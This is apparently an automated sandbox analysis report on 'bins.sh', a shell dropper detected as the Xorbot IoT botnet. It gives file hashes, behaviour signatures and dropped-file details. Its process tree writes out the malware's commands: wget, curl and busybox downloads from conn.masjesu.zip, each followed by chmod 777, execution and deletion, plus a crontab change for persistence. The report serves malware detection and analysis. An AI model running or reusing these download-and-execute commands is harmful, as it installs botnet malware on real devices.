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Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/01/2025, 15:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b04e2c0ae63437f3d6159de0e92a5929

  • SHA1

    f94b507015c3aa5d700ce4f8bddaaecfa374c0ef

  • SHA256

    939d0bffa96b1358bc2260e51e0cbabd8177f341001bd2e2f1cbde3e853179eb

  • SHA512

    375244936542defaac34272ae050a449f48bbae7ff71b264249cc5593e699e6814879a5e57067a1b4550b9fd85ccaaa4238fb380b5349a1b2223c17946f6fea3

  • SSDEEP

    96:YvDZ9XnxwHbXWUsgscszcJp1B5wLJCJaJ7UYZb2bmbVQUQfzlLZSZqZTwUxzkzod:M3Z0dWuTwUta2keQLwWuTwUla2R

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1035) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:725
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:730
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          PID:754
        • /bin/chmod
          chmod 777 RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          ./RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • Executes dropped EXE
          PID:768
        • /bin/rm
          rm RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
            PID:770
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:771
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:805
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:807
          • /bin/chmod
            chmod 777 vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • File and Directory Permissions Modification
            PID:823
          • /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            ./vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • Executes dropped EXE
            PID:824
          • /bin/rm
            rm vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
              PID:827
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:829
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:843
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              PID:845
            • /bin/chmod
              chmod 777 xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • File and Directory Permissions Modification
              PID:846
            • /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              ./xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • Executes dropped EXE
              PID:847
            • /bin/rm
              rm xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
                PID:849
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:850
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:851
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:856
              • /bin/chmod
                chmod 777 sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • File and Directory Permissions Modification
                PID:857
              • /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                ./sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • Executes dropped EXE
                PID:858
              • /bin/rm
                rm sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                  PID:860
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:861
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:862
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:864
                • /bin/chmod
                  chmod 777 wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • File and Directory Permissions Modification
                  PID:865
                • /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  ./wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • Executes dropped EXE
                  PID:866
                • /bin/rm
                  rm wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                    PID:868
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:869
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:870
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:872
                  • /bin/chmod
                    chmod 777 sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • File and Directory Permissions Modification
                    PID:873
                  • /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    ./sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:874
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:876
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:877
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:878
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:879
                      • /bin/rm
                        rm sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                        2⤵
                          PID:881
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/UeTwdxakpDXicVEjjPdfLxkvmKvDl3RF9r
                          2⤵
                          • System Network Configuration Discovery
                          PID:884

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /var/spool/cron/crontabs/tmp.6bNDYs

                        Filesize

                        210B

                        MD5

                        e5cf99a4cb0fb96ceec3dcb0862b13d9

                        SHA1

                        d1abd42f612093cf03842643a03ce0eb115df41c

                        SHA256

                        53716bcde2f11734da9cec1bf119919e034090a39b5d7593d9b3acba934a1eaf

                        SHA512

                        16475c3c520a05c7ff453d589b8232658fce55194d12297307a64275e27ffd75d2a33732d57bd2c7772d8d5305771946b0cee703be737fa91ad54a5aac052c51